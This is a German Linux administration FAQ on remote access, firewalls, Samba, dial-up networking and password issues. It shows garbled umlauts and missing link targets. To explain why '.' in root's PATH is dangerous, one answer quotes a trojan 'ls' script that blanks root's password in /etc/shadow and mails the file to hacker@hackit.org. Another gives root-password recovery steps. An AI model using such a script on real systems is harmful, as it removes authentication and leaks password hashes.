Mein Linux-Server braucht kein Tastatur. Kann ich ihn ohne booten?
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Frage:
Ich verwende einen Linux-PC als Server in einem Netzwerk. Die Administration erledige ich komplett von anderen Rechnern aus, so dass die Tastatur �berfl�ssig ist. Kann ich den Rechner einfach ohne Tastatur booten?
Antwort:
Im BIOS mu� eingestellt sein:
Halt On Errors: All But Keyboard
oder sinngem�� (je nach BIOS). Linux hat kein Problem damit.
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Was ist so gef�hrlich am telnet -Zugang f�r root ?
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Frage:
Was ist so gef�hrlich am telnet-Zugang f�r root ?
Antwort:
Mit telnet findet jegliche �bertragung in
Klartext (also unverschl�sselt) statt. Ein Abh�ren der Verbindung
(z.B. mit sniff) wirft jedem potentiellen
Eindringling das root-Passwort im Klartext vor die
F��e.
Besser ist es, ssh oder telnet-ssl (beides verschl�selt die �bertragenen
Daten) zum Verbinden zu verwenden.
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Ich kann mich nicht �ber telnet als root einloggen!
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Frage:
Ich kann mich nicht �ber telnet als root einloggen!
Antwort:
Warning: Bevor du das versuchst, sei dir sicher, dass du "Was ist so gef�hrlich am telnet-Zugang f�r root?" gelesen (und verstanden) hast und damit keine Probleme hast!
Die Antwort liegt in /etc/login.defs. Dort gibt es einen CONSOLE-Eintrag, der festlegt, von welchen Terminals aus sich der Superuser einloggen kann. Wenn du den auskommentierst, dann darf root von allen Terminals einloggen.
Wenn dein Rechner am Netz h�ngt, m�chtest du das aber wahrscheinlich sowieso nicht. ssh liegt eine nette Installationsanleitung bei, und damit kannst du auch gleich sicheres FTP und X-Tunelling machen.
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Wo gibt es Dokumentation zur ssh ?
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Frage:
Wo kann ich Dokumentation zur ssh bekommen?
Antwort:
Homesite der ssh: .
Au�erdem gibt es ein FAQ zur ssh auf
.
Von O'Reilly gibt es ein Buch (mit einer Schnecke auf der Titelseite).
Das FAQ dazu: .
Abgesehen davon ist die mitgelieferte Doku wirklich einen Blick wert. ;-)
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ssh -Clients f�r Windows
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Frage:
Ich m�chte von einem Windows-Rechner ein Terminal zu einem Linux-Server �ffnen. Aus Sicherheitsgr�nden will ich die ssh verwenden. Wo bekomme ich einen ssh-Client f�r Windows?
Antwort:
Folgende L�sungen gibt es als freie Software:
-
PuTTY von Simon Tatham:
Homesite:
-
TTSSH ist eine ssh-Erweiterung f�r TeraTerm.
TeraTerm:
TTSSH:
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Wo finde ich Doku zu Firewalls und ipchains?
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Frage:
Wo finde ich Doku zu Firewalls und ipchains?
Antwort:
Es gibt eine ganze Reihe von HOWTOs: .
Ausserdem eine eigene Website der Kernel-Entwickler:
Und eine Beschreibung von ipfwadm und ipchains (Deutsch, aber veraltet):
.
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Welche Programme brauche ich f�r einen Linux-Router/-Gateway/-Firewall, der anderen Rechnern den Zugang zum Internet erm�glichen soll?
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Frage:
Ich m�chte �ber meinen Linux-PC als Router/Firewall/Gateway anderen Rechnern den Zugang zum Internet erm�glichen. Welche Programme brauche ich daf�r?
Antwort:
F�r den Aufbau des Netzes empfiehlt sich die Lekt�re von .
Desweiteren kommt es darauf an, was man unter "Internet" versteht - je nachdem ben�tigt man verschiedene Programme.
- Http/Ftp-Zugriff ("surfen")
daf�r reicht ein Proxy - siehe
- squid oder
- wwwoffle als proxy installieren
- Mail (siehe DE-Offline-HOWTO)
- Senden: Mailserver (zb. sendmail) am Linux-Rechner
- Empfangen: fetchmail
- alle anderen Protokolle:
masquerading - siehe n�chste Frage
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Ich habe eine Firewall, und das Programm bzw. Protokoll xyz funktioniert nicht!
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Problem:
Ich habe eine Firewall, und das Programm bzw. Protokoll xyz funktioniert nicht!
L�sung:
Anleitungen f�r viele Protokolle gibt es unter .
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Wie kann ich feststellen, ob sich jemand in meinen Linux-Rechner eingehackt hat?
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Frage:
Wie kann ich feststellen, ob sich jemand per Netzwerk in meinen Linux-Rechner eingehackt hat?
Antwort:
Eine ausf�hrliche Antwort findest Du auf der Website der Linux User Group der TU Wien unter .
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Passw�rter l�nger als 8 Zeichen
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Frage:
Ich kann auf meinem Linux-Rechner zwar f�r meine Accounts Passw�rter mit mehr als 8 Zeichen anlegen, aber es werden nur die ersten 8 Zeichen zur Validierung herangezogen. Wie kann ich Passw�rter mit mehr als 8 Zeichen vollst�ndig auswerten lassen?
Antwort:
Wenn Deine Distribution PAM verwendet (was sie sinnvollerweise tun sollte - ansonsten halt installieren), dann reicht es, in der Datei /etc/pam.d/passwd an die Zeile password required /lib/security/pam_pwdb.so use_authtok nullok ein md5 anzuh�ngen.
Damit werden dann auch l�ngere Passw�rter vollst�ndig verarbeitet.
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Was ist so gef�hrlich daran, "." im PATH f�r root zu haben?
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Frage:
Was ist so gef�hrlich daran, "." im PATH f�r root
zu haben?
Antwort:
Naja - stell Dir vor, ein Benutzer ist auf Deinem System angemeldet und erstellt folgendes Shel
l-Script:
#!/bin/sh
cat /etc/shadow | \
sed 's;\(^root:\)[^;]*\(:.*\);\1\2;' > /etc/shadow
mailx hacker@hackit.org -s "Root Account Hacked" < /etc/shadow
ls $*
Dieses Script speichert er als /tmp/ls. Wenn
jetzt root nach /tmp
wechselt, das aktuelle Verzeichnis - in diesem Falle
/tmp - vor /bin in
der Variablen PATH ein getragen hat, so wird
anstatt /bin/ls das soeben erw�hnte Script
ausgef�hrt, was zur Folge hat, dass das root-Passwort
entfernt wird und der Benutzer eine Mail bekommt, die ihm sagt,
dass er jetzt ohne Passwort einen root-Account auf
Deinem Rechner hat. Das ist unsch�n ;-).
W�re das aktuelle Verzeichnis nicht im Suchpfad gewesen, h�ttest Du explizit ./ls eingeben m�ssen, um das Script auszuf�hren.
(Fast w�rtlich abgetippt aus S.u.S.E. Linux 5.3 - Installation, Konfiguration und erste Schritte. Copyright: "Dieses Werk ist geistiges Eigentum der S.u.S.E. GmbH. Es darf als ganzes oder in Ausz�gen kopiert werden, vorausgesetzt, dass sich dieser Copyright-Vermerk auf jeder Kopie befindet.")
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Ich habe das root -Passwort f�r meinen Rechner vergessen. Und nun?
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Frage:
Ich habe das root-Passwort f�r meinen Linux-Rechner vergessen. Was nun? Muss ich alles neu installlieren?
Antwort:
Am lilo-Prompt gibst du ein
linux init=/bin/bash
Statt linux bitte den entsprechenden Men�punkt angeben (TAB gibt eine Liste aus). Unter grub kann man mit der Taste 'e' einen Men�punkt ver�ndern, anschlie�end wird mit 'b' gebootet.
Auf alle F�lle sollte Linux starten und du eine Kommandozeile bekommen. Dort gibst Du ein:
mount -o remount,rw /
passwd
mount -o remount,ro /
und ein Strg-d (Ctrl-d) zum Beenden der shell.
Bei manchen Systemen wird auch bei init=/bin/bash das
root-Passwort verlangt.
L�sung:
Von einem Rettungssystem (Diskette, CD) booten,
die Festplatte mounten (je nach Intelligenz des Rettungssystem
geschieht das automatisch),
und die Datei /etc/passwd bzw. /etc/shadow mit
einem Editor bearbeiten und das zweite Feld (zwischen dem
ersten und zweiten Doppelpunkt) l�schen.
Wenn der Root-Login an sich funktioniert und nur su die
Mitarbeit verweigert, muss vielleicht nur der betreffende Benutzer
Mitglied einer bestimmten Gruppe sein, etwa wheel.
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Ist Linux POSIX-konform?
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Frage:
Ich soll auf der Arbeit einen UNIX- (oder Linux-) Server installieren. Allerdings besteht der Chef auf einem POSIX-konformen Betriebssystem. Ist Linux POSIX-konform?
Antwort:
Der Linux-Kernel ist zwar POSIX-konform designt, allerdings ist das System (normalerweise) nicht POSIX-zertifiziert. Die einzige uns bekannte zertifizierte Distribution ist bei zu haben (POSIX.1-zertifiziert).
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IP-Adressen f�r privates Netz
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Frage:
Welche Adre�bereiche bei TCP/IP kann ich f�r ein privates Netz nutzen, dessen Datenverkehr nicht direkt ins Internet weitergeleitet werden soll?
Antwort:
Die Adre�bereiche f�r private TCP/IP-Netze sind in festgelegt.
Nutzbar sind
- Class A: 10.0.0.0 - 10.255.255.255 mit der Subnetmask 255.0.0.0
- Class B: 172.16.0.0 - 172.31.255.255 mit der Subnetmask 255.255.0.0 und
- Class C: 192.168.0.0 - 192.168.255.255 mit der Subnetmask 255.255.255.0
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Linux-Rechner kann anderen Rechner nicht anpingen
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Frage:
Ich kann von meinem Linux-Rechner aus keinen Rechner nicht anpingen
(100% packet loss). Die Netzwerk-Einstellungen und
Kernel-Konfiguration habe ich aber korrekt und ganz genau nach
Anleitung vorgenommen, die Netzwerkkarte wird richtig erkannt. Am
Kabel kann es auch nicht liegen, das habe ich getestet. Was mache
ich blo� falsch?
Antwort:
Schau doch einmal nach, ob die Ressourcen der Netzwerkkarte richtig konfiguriert sind (Interrupt, I/O-Bereich).
Bei einer PCI-Karte geschieht die Zuteilung der Ressourcen normalerweise im (Rechner-) BIOS. Bei einer (alten) ISA-Karte ohne Plug-n-Play wird das in der Regel mit Jumpern (Steckbr�cken auf der Karte) erledigt. Bei Plug-n-Play-f�higen ISA-Karten werden die Ressourcen entweder vom BIOS oder vom Betriebssystem zugeteilt. Manchmal kann man auf solchen Karten den Plug-n-Play-Teil abschalten und die Ressourcen per Software konfigurieren. In diesem Fall verh�lt sie sich wie eine alte Pr�-PnP-ISA-Karte; f�r eine Umkonfigurierung der Ressourcen der Karte mu� ein Setup-Programm bem�ht werden.
Eine weitere M�glichkeit ist eine fehlende DNS-Namensaufl�sung. Das kann man antesten, indem man ping mal als
ping -n IP-Addresse
aufruft - mit dieser Option versucht ping keine Namensaufl�sung per DNS.
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Anbindung eines Linux-Rechners an das �sterreichische Telekabel-Netzwerk
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Frage:
Wo erfahre ich etwas �ber die M�glichkeiten und Vorgehensweisen bei der Anbindung eines Linux-Rechners an das �sterreichische Telekabel-Netzwerk?
Antwort:
Eine gute Anlaufstelle ist das Telekabel + Linux HOWTO von Stefan
Szomraky und August H�randl, und zwar unter
.
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Samba installieren und konfigurieren
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Frage:
Wie installiere ich Samba auf meinem Rechner? Wie konfiguriere ich die Samba-Installation? Gibt es dazu Dokumentation?
Antwort:
Ja, in der Tat gibt es dazu was (war auch nicht anders zu erwarten, oder?).
Eine sehr vollst�ndige Liste mit den jeweils aktuellsten Dokumentationen
gibt es bei und
.
Das (englische) Samba-HowTo ist zwar schon etwas angestaubt, gilt
aber immer noch als die Referenz.
.
Inzwischen gibt es das Samba-HowTo auch auf deutsch:
.
Die beiden Australier Dan Shearer und Paul Blackman haben ein
Samba-Meta-FAQ zusammengestellt, das Volker Lendecke ins Deutsche
�bersetzt hat:
Das Buch "Using Samba" von Robert Eckstein, David Collier-Brown
und Peter Kelly ist auf O'Reilly's Webseite auch online verf�gbar:
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Samba-Tags schnell kennenlernen
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Frage:
Ich habe gerade Samba auf meinem Linux-Rechner
installiert. Jetzt mu� ich es aber noch konfigurieren. Wo kann
ich erfahren, welches Tag in der Samba-Konfigurations-Datei
( /etc/smb.conf oder
/etc/samba/smb.conf ) welche Bedeutung hat?
Antwort:
F�hre auf einer Konsole den Befehl
testparm ¦ more aus, der die
smb.conf parst und die aktuelle
Konfiguration ausgibt, auf einer anderen Konsole den Befehl
man smb.conf, der jedes einzelne Tag erl�utert. Auf
diese Weise l��t sich sehr bequem die aktuelle Konfiguration
ermitteln und den eigenen Bed�rfnissen anpassen.
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Zugriff auf Linux-Samba-Server ist schrecklich langsam
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Problem:
Wenn ich auf meinen Linux-Samba-Server zugreife, habe ich Datenraten von 120 bis 180 kB/s, teilweise auch noch weniger. Das Problem tritt unabh�ngig vom Client auf, ich habe das von Windows NT, Windows 98 und sogar von einem weiteren Linux-Rechner aus probiert. Das Netzwerk ist ein 10-MBit-Netz, sollte also auf jeden Fall schnelleren Transfer gestatten.
Antwort:
F�ge in der Datei smb.conf in der Sektion [global] die Zeilen
socket options = TCP_NODELAY
read prediction = yes
read raw = yes
write raw = yes
getwd cache = yes
hinzu. Danach sollten Transfers mit normaler Geschwindigkeit erfolgen. Ab der Samba-Version 1.9.18 kann man zus�tzlich durch den Einsatz von Oplocks noch die Performance bei vielen gleichzeitigen Zugriffen erh�hen.
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Umlaute in Samba
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Problem:
Wenn ich von Windows 95 aus eine Datei auf dem Linux-Server mit Umlauten im Dateinamen speichere, dann sehe ich unter Windows 95 den korrekten Namen, unter Linux werden die Umlaute im Namen durch ein Fragezeichen ersetzt.
Antwort:
In der Datei /etc/smb.conf mu� in der Sektion [global] die Zeile
character set = iso8859-1
hinzugef�gt werden. Nach einem Neustart von Samba werden die Umlaute im Namen von neu abgespeicherten Dateien auch unter Linux korrekt angezeigt.
Vorsicht: Bereits bestehende Dateien mit Umlauten im Namen zeigt Windows danach eventuell gar nicht mehr an, daher sollte man zuvor alle betroffenen Dateien so umbenennen, dass ihre Namen keine Umlaute enthalten.
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Oplocks in Samba
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Frage:
Was sind Oplocks? Ist es sinnvoll, sie unter Samba zu aktivieren?
Antwort:
Oplocks steht f�r opportunistic locks. Es handelt sich um eine Implementierung von Datei-Sperrungen, die "nachgeben" k�nnen: Der Inhaber eines Lock wird informiert, wenn ein anderer Proze� auf diesem Bereich Dateioperationen durchzuf�hren w�nscht; er kann nun entscheiden, ob der gesperrte Bereich freigegeben werden soll oder nicht. Oplocks erlauben einem Client ein sehr aggressives Caching von Schreibzugriffen: Diese k�nnen bei einer mit Oplock versehenen Datei im lokalen Cache abgehandelt werden, und erst, wenn ein anderer Proze� auf die Datei zugreifen m�chte, mu� ein cache flush erfolgen und das Oplock kann aufgegeben werden. Die Geschwindigkeits-Gewinne k�nnen je nach Anwendung sehr drastisch ausfallen.
Zwei Parameter in der Datei /etc/smb.conf (Sektion [global]) sind f�r Oplocks unter Samba wichtig:
fake oplocks sollte bei einer Samba-Version vor 1.9.18 auf yes gesetzt werden, da auf �lteren Samba-Servern Oplocks nicht implementiert sind. In diesem Fall wird einfach immer direkt in die Datei geschrieben, ohne ein Caching zu erm�glichen. Wenn mehrere Clients auf dieselbe Datei zugreifen wollen, sackt die Performance allerdings m�chtig in den Keller. Ab der Version 1.9.18 sollte der Wert f�r fake oplocks auf no gesetzt werden, und die Zeile
oplocks = yes
hinzugef�gt werden.
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Werkzeuge und Programme im Samba-Package
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Frage:
Im Samba-Package sind ja nun mehrere Programme dabei. Wof�r sind die denn im Einzelnen gut?
Antwort:
Der smbd (smb-D�mon) ist der eigentliche Fileserver. Verantwortlich f�r die Freigabe der Ressourcen im (Windows-) Netzwerk, und die Bearbeitung der Client Requests.
Der nmbd (NetBIOS-Nameserver-D�mon) �bersetzt NetBIOS-Namen in IP-Nummern und ist f�r die Browsing-Listen der Freigabe-Ressourcen zust�ndig.
nmblookup ist ein Programm zum Testen des nmbd.
Der smbclient ist ein ftp-�hnliches Programm, mit dem auf smb-Netzwerk-Ressourcen zugegriffen werden kann.
Mit smbpasswd kann man sein Samba-Passwort (hat nix mit dem Unix-Passwort zu tun!) �ndern.
testparm ist ein Syntax-Checker f�r die Samba-Konfigurations-Datei smb.conf, mit testprns kann man die Drucker-Konfiguration testen.
�ber Zugriffe auf Ressourcen, und von wem, gibt smbstatus Auskunft.
smbtar ist ein Werkzeug f�r zentrale Datensicherung von Ressourcen, die �ber ein Windows-Netzwerk verstreut sind.
Seit der Samba-Version 1.9.18 sind noch mit dabei: addtosmbpass (Shellscript), um Benutzereintr�ge zu der Samba-Passwort-Datei hinzuzuf�gen; make_smbcodepage zur Verwaltung von Codepages, um nationale Zeichens�tze (im deutschsprachigen Raum dann mit deutschen Umlauten und dem �) verwenden zu k�nnen; und make_printerdef als Hilfe bei der Unterst�tzung der automatischen Druckertreiber-Installation unter Windows 9x.
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Linux-PPP mit Call-Back
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Problem:
Ich m�chte meinen Linux-Rechner per PPP mit einem RAS (Remote Access Server) unter Windows NT verbinden, und zwar �ber die PPP-R�ckruf-Funktion von NT. Mein pppd unterst�tzt diese Funktion aber nicht.
Antwort:
NT-RAS handelt mit dem Client den R�ckruf nach dem Callback Control Protocol (CBCP) aus, einer von Microsoft vorgeschlagenen PPP-Erweiterung. Dieses Protokoll ist in der Regel nicht mit in den pppd einkompiliert, wird aber mit dem Quelltext geliefert. Daher
-
ppp-2.3.?.tar.gz, bei rpm-basierten Distributionen das Archiv ppp-2.3.?-?.src.rpm besorgen.
-
den Quelltext mittels tar -xzf ppp-2.3.?.tar.gz entpacken.
-
im Verzeichnis ppp-2.3.?/pppd die Datei Makefile.linux folgenderma�en �ndern:
-
der Liste der ben�tigten Objektdateien cbcp.o hinzuf�gen.
-
cbcp.o in die Zeile einf�gen, die mit PPPDOBJS beginnt:
PPPDOBJS = cbcp.o main.o ...
-
die Option -DCBCP_SUPPORT in die COMPILE_FLAGS-Zeile einf�gen.
-
im Verzeichnis ppp-2.3.?/pppd den Befehl make pppd ausf�hren.
-
die Datei pppd, die sich nun in diesem Verzeichnis befindet, nach /usr/sbin kopieren.
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Wo finde ich Dokumentation zu PPP unter Linux?
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Frage:
Ich m�chte meinen Rechner per Dial-Up ans Internet bringen. Wo finde ich Dokumentation zu PPP unter Linux?
Antwort:
Da ist nat�rlich erstmal das PPP-Howto auf
.
Dann gibt es das ISP-Connectivity-mini-Howto auf .
M�glicherweise hilft auch das ISP-Hookup-Howto auf weiter.
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Wo finde ich Dokumentation oder Beispiele zu ISDN4linux ?
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Frage:
Wo finde ich Dokumentation zu ISDN4linux? Beispiele f�r Scripte und Config-Files w�ren mir allerdings noch lieber!
Antwort:
Zum Einen sicher bei ISDN4Linux selbst, auf .
Eine gute Anlaufstelle ist auch das Deutsche Mini-FAQ f�r ISDN4Linux, und zwar unter .
Da gibt es auch Verweise zu weiteren Dokumentationen.
Jede Menge interessanter Informationen, und vor allem gute Beispiele, gibt es auf WEB's ISDN Page unter .
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Anbindung eines Linux-Rechners an den Modemzugang von AON
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Frage:
Wo erfahre ich etwas �ber die M�glichkeiten und Vorgehensweisen bei der Anbindung eines Linux-Rechners bei AON Complete/Speed?
Antwort:
Der absolute Renner ist nach wie vor das AON&Linux-HowTo von Heimo Sch�n auf .
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Anbindung eines Linux-Rechners an einen ADSL-Modemzugang
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Frage:
Wo erfahre ich etwas �ber die M�glichkeiten und Vorgehensweisen bei der Anbindung eines Linux-Rechners an einen ADSL-Modemzugang?
Antwort:
Auch hier hilft das AON&Linux-HowTo von Heimo Sch�n auf .
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Anbindung eines Linux-Rechners an den Modemzugang der TU-Wien
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Wie kann ich die Geschwindigkeit einer ppp-Verbindung feststellen?
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Frage:
Wie kann ich die Geschwindigkeit einer ppp-Verbindung feststellen?
Antwort:
Das Script /etc/ppp/ip-up wird mit f�nf Parametern aufgerufen - der Dritte davon ist die Geschwindigkeit (aber nur die serielle). Siehe auch man pppd.
F�r die Leitungsgeschwindigkeit kann man im Chat-Script ein REPORT CONNECT einf�gen. Mit der Option -r filename kann man sich sogar die Datei aussuchen - siehe auch man chat.
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Wie bringe ich wvdial zur Zusammenarbeit mit meiner (internen) ISDN-Karte?
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Frage:
Wie bringe ich wvdial zur Zusammenarbeit mit meiner (internen) ISDN-Karte? Geht das �berhaupt? Die automatische Erkennung klappt ja offenbar nicht...
Antwort:
Doch, doch, interne Karten k�nnen mit wvdial. Du musst allerdings in der /etc/wvdial.conf auf zweierlei achten: Es mu� auch das richtige Modem-Device verwendet werden, und die MSN mu� per AT-Befehl angegeben werden, z.B. (angenommen, Deine MSN ist 1234567) mit den Zeilen:
Modem = /dev/ttyI0
Init2 = AT&E1234567
N�here Informationen zu den AT-Befehlen und der Modem Emulation (nat�rlich keine richtige, es wird nur das serielle Interface simuliert) findest du in /usr/src/linux/Documentation/isdn/README.
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Ich habe zwei Verbindungen zu meinem Provider - wie kann ich beide gleichzeitig nutzen (f�r mehr Bandbreite)?
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Frage:
Ich habe zwei Verbindungen zu meinem Provider - wie kann ich beide gleichzeitig nutzen (f�mehr Bandbreite)?
Antwort:
Daf�r mu� der Provider ebenfalls Kanalb�ndelung anbieten.
OK, der Provider bietet keine Kanalb�delung: Wie kann ich den Verkehr auf die zwei Leitungen aufteilen?
Sehr schwierig - es ist im Wesenlichen ein Routing-Problem. F�r das Routen gibt es 2 Varianten:
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Stub-Netzwerke (ein Kabel):
die Gegenstelle wird als Default Route eingetragen.
-
mehrere Verbindungen:
Du brauchst einen Router (das kann Linux) und die entsprechenden Routen (was geht wohin) werden via Routingprotokoll "ausgehandelt" (auch das gibt es f�r Linux) - aber du brauchst eine Gegenstelle, mit der du "verhandeln" kannst, d.h. die ebenfalls ein Routingprotokoll spricht -- und das wird Dir Dein Provider bzw. deine Provider nicht anbieten.
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Wo finde ich Infos zu Appletalk unter Linux?
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Frage:
Wo finde ich Infos zu Appletalk unter Linux?
Antwort:
Das (englischsprachige) Linux-Journal hat dazu in der Januar-Ausgabe 1998 einen guten Artikel herausgebracht, zu finden unter
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Konfiguration von mgetty, sendfax und vgetty
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Frage:
Wo erfahre ich, wie ich mgetty, sendfax und vgetty aufsetzen kann, so dass man Voicemails, Faxe und einkommende Daten bearbeiten kann?
Antwort:
Norbert Preining hat wirklich gut beschrieben, wie er einen Rechner dazu gebracht hat, auf Telefonkommando (ohne Modem) seine IP-Adresse zu mailen. Nachzulesen im vgetty-minioffice-mini-HOWTO unter .
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Linux-Rechner als POP-Server f�r Windows-Rechner
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Frage:
Wie richte ich einen Linux-Rechner als POP-Server f�r Windows-Rechner ein?
Antwort:
Alle Linux-Distributionen enthalten einen POP3-Server, bei den meisten ist er sogar standardm��ig aktiviert. Falls nicht entfernt man in der Datei /etc/inetd.conf das f�hrende Kommentarzeichen '#' des Eintrags #pop3 stream tcp nowait root /usr/sbin/tcpd ipop3d. Der Name des eigentlichen Servers (hier ipop3d) variiert bei den verschiedenen Distributionen. Zum Betrieb als Mail-Server mu� man nur noch f�r jeden User einen Account anlegen.
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